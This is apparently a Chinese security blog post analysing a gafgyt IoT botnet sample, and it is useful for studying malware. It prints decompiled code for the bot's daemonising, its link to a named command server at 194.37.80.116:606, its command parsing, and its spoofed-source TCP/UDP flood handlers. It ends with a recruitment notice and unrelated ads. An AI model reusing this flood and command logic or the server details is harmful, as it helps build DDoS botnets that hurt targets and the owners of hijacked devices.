Miara的延续--gafgyt病毒分析
随着IoT变得越来越火热,许多针对IoT的病毒也越来越多。由于算力、执行环境等原因,IoT固件更新缓慢,容易被攻击者攻破后作为肉鸡发送DDos攻击。著名的僵尸网络家族mirai在2016年用数十万台IoT设备发送DDos攻击,gafgyt重用了mirai的部分代码。
相关信息
来源:https://bazaar.abuse.ch/browse sha256: 77352620b484f8666a96236a6fc1cbf04306d889dc19c588b1270821a2d6a45e(mips)94808a5bfe1ac718f1db0d397411586b2dbb87ff899cb0a57ac06ab780ee7f82(arm)
家族:gafgyt僵尸网络程序
## 分析过程
以arm架构下的病毒为主进行分析
```cpp
v3 = time(0);
v4 = getpid();
srandom(v3 ^ v4);
v5 = time(0);
v6 = getpid();
init_rand(v5 ^ v6);
getOurIP(); // 获取第一个网卡的mac地址
v22 = fork();
if ( v22 )
{
waitpid(v22, v21, 0);
exit(0);
}
if ( fork() )
exit(0);
setsid();
chdir("/");
signal(SIGPIPE, SIGHUP); // SIG_IGN,忽略中断信号
先初始化随机数,然后获取第一个网卡的mac地址。后面设置信号,忽略中断信号,无法停止程序
while ( initConnection() )
sleep(5);
v7 = mainCommSock;
v8 = (const char *)inet_ntoa(ourIP);
v9 = getPortz();
v10 = getArch();
sockprintf(v7, "\x1B[1;95mDevice Connected: %s | Port: %s | Arch: %s\x1B[0m", v8, v9, v10);
v24 = 0;
i = 0;
初始化一个连接,连接的handler赋值到manCommSock上,连接地址为194.37.80.116:606
while ( 1 )
{
v24 = recvLine(mainCommSock, v19, 4096);
if ( v24 == -1 )
break;
for ( i = 0; numpids > (unsigned __int64)i; ++i )
{
if ( waitpid(*(_DWORD *)(4 * i + pids), 0, 1) > 0 )
{
for ( j = i + 1; numpids > (unsigned __int64)j; ++j )
*(_DWORD *)(pids - 4 + 4 * j) = *(_DWORD *)(4 * j + pids);
*(_DWORD *)(pids - 4 + 4 * j) = 0;
v27 = malloc(4 * numpids--);
for ( j = 0; numpids > (unsigned __int64)j; ++j )
*(_DWORD *)(4 * j + v27) = *(_DWORD *)(4 * j + pids);
free(pids);
pids = v27;
}
}
v19[v24] = 0;
trim(v19);
v26 = v19;
if ( v19[0] == '!' )
{
for ( k = v26 + 1; *k != ' ' && *k; ++k )
;
if ( *k )
{
*k = 0;
k = v26 + 1;
v11 = strlen(v26 + 1);
for ( v26 += v11 + 2; ; v12[strlen(v26)] = 0 )
{
v13 = v26 - 1;
if ( v13[strlen(v26)] != 10 )
{
v14 = v26 - 1;
if ( v14[strlen(v26)] != 13 )
break;
}
v12 = v26 - 1;
}
v30 = v26;
while ( *v26 != 32 && *v26 )
++v26;
*v26++ = 0;
for ( l = v30; *l; ++l )
*l = toupper((unsigned __int8)*l);
v32 = 1;
v33 = (_BYTE *)strtok(v26);
v20[0] = (int)v30;
while ( v33 )
{
if ( *v33 != 10 )
{
v15 = v32;
v16 = strlen(v33);
v35[v15 - 24] = malloc(v16 + 1);
v17 = v35[v32 - 24];
v18 = strlen(v33);
memset(v17, 0, v18 + 1);
strcpy(v35[v32++ - 24], v33);
}
v33 = (_BYTE *)strtok(0);
}
processCmd(v32, v20);
if ( v32 > 1 )
{
for ( m = 1; m < v32; ++m )
free(v35[m - 24]);
}
}
}
接收来自服务器的命令,分割命令并将所有字母转换为大写。命令格式为
!cmd args
最后在processCmd中执行命令请求,执行之后释放保存命令的临时空间
接下来分析processCmd,其中主要是对各种命令的处理,执行的动作
result = strcoll(*a2, "TCP");
if ( !result )
{
if ( a1 <= 5 )
return result;
v13 = a2[1];
v14 = atol(a2[2]);
v15 = atol(a2[3]);
v16 = atol(a2[4]);
v17 = a2[5];
if ( a1 == 8 )
v4 = atol(a2[7]);
else
v4 = 10;
if ( a1 <= 6 )
v5 = 0;
else
v5 = atol(a2[6]);
if ( !strchr(v13, 44) )
{
result = listFork(); // 创建子进程,如果是子进程就返回0,否则记录子进程的pid
if ( !result )
{
ftcp(v13, v14, v15, v16, v17, v5, v4);
exit(0);
}
return result;
}
for ( i = strtok(v13); i; i = strtok(0) )
{
if ( !listFork() )
{
ftcp(i, v14, v15, v16, v17, v5, v4);
exit(0);
}
}
}
对TCP命令的处理,先创建子进程用于执行ftcp函数。如果args[0]有逗号,则对每一个逗号分割出的命令段都要执行ftcp
通过对ftcp的分析,可知第一个参数是目标地址,第五个参数是二级命令,所以一条命令可以同时对多个主机发送多种数据包,包括TCP SYN,RST,FIN,ACK,PSH,且源IP地址是随机生成的,以达到Dos攻击目的
UDP命令和TCP命令相似,只是针对的协议不同
而下面的各个命令都执行了特定的攻击方式,如UDP STD FLOOD,针对游戏服务器的VSE攻击,针对NFO服务器的NFODROP命令。
最后还有一个STOP命令用于停止程序自身,并向之前fork的进程都发送kill信号以尽量确保进程退出。
result = strcoll(*a2, "STOP");
if ( !result )
{
v60 = 0;
for ( ll = 0; numpids > (unsigned __int64)ll; ++ll )
{
if ( *(_DWORD *)(4 * ll + pids) )
{
v3 = *(_DWORD *)(4 * ll + pids);
result = getpid();
if ( v3 != result )
{
result = kill(*(_DWORD *)(4 * ll + pids), 9);
++v60;
}
}
}
}
return result;
最后默认情况下会发动STD攻击
if ( a1 <= 5 )
return result;
result = atol(a2[3]);
if ( result == -1 )
return result;
result = atol(a2[2]);
if ( result == -1 )
return result;
result = atol(a2[4]);
if ( result == -1 )
return result;
result = atol(a2[4]);
if ( result > 32 )
return result;
if ( a1 > 6 )
{
result = atol(a2[6]);
if ( result < 0 )
return result;
}
if ( a1 == 8 )
{
result = atol(a2[7]);
if ( result <= 0 )
return result;
}
v55 = a2[1];
v56 = atol(a2[2]);
v57 = atol(a2[3]);
atol(a2[4]);
if ( a1 == 8 )
atol(a2[7]);
if ( a1 <= 6 )
v10 = 0;
else
v10 = atol(a2[6]);
if ( strchr(v55, ',') )
{
for ( mm = strtok(v58, (int)","); mm; mm = strtok(0, (int)",") )
{
if ( !listFork() )
astd(mm, v56, v57, v10);
}
goto LABEL_182;
}
result = listFork();
if ( !result )
astd(v55, v56, v57, v10);
总结
本次分析的病毒还包含符号表,应该是大神制作的用于学习的。发现由于目标设备的算力和硬件架构、操作系统简单等问题,针对物联网的病毒都没有太多的混淆方法,功能相对来说比较简单。但是麻雀虽小五脏俱全,病毒中包含了几乎所有DDos攻击方法的命令,不仅有通用的,还有针对特定服务器的。
由于物联网设备使用的Linux内核并非最新,且厂商更新速度较慢,导致物联网设备易被入侵,沦为肉鸡。虽然单个物联网设备算力不足,但是物联网设备数量众多,是一种发起DDos攻击的好方式。所以一定要注意物联网安全。
本次分析学到了很多东西,包括物联网病毒的攻击方式,病毒并行攻击的原理,病毒与服务器交互的方式;另外还学到了多种之前没见过的DDos攻击方法。
参考资料
Mirai code re-use in Gafgyt--uptycs blog iot-malware--github Gafgyt Botnet Lifts DDoS Tricks from Mirai--threatpost 僵尸网络GAFGYT家族分析--安天 Gafgyt家族物联网僵尸网络家族分析--freebuf RANDWARE THE DNA OF MIRAI MODERN IOT ATTACK BOTNETS--CISCO
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 共绘亚太下一个“黄金三十年” 7904589
- 2 山里藏价值6000亿元黄金?村民发声 7920426
- 3 微信或史诗级“瘦身” 内存有救了 7872432
- 4 中国主张成为G20峰会的一抹亮色 7714469
- 5 朝鲜将军队提升至战斗准备状态 7666620
- 6 男生解锁“滑步下泰山”技能 7576676
- 7 带96岁母亲酒店养老遭拉黑 男子发声 7412634
- 8 女教师被指出轨学生 校方通报 7346445
- 9 《小巷人家》全员告别 7280698
- 10 千年古镇“因网而变、因数而兴” 7101053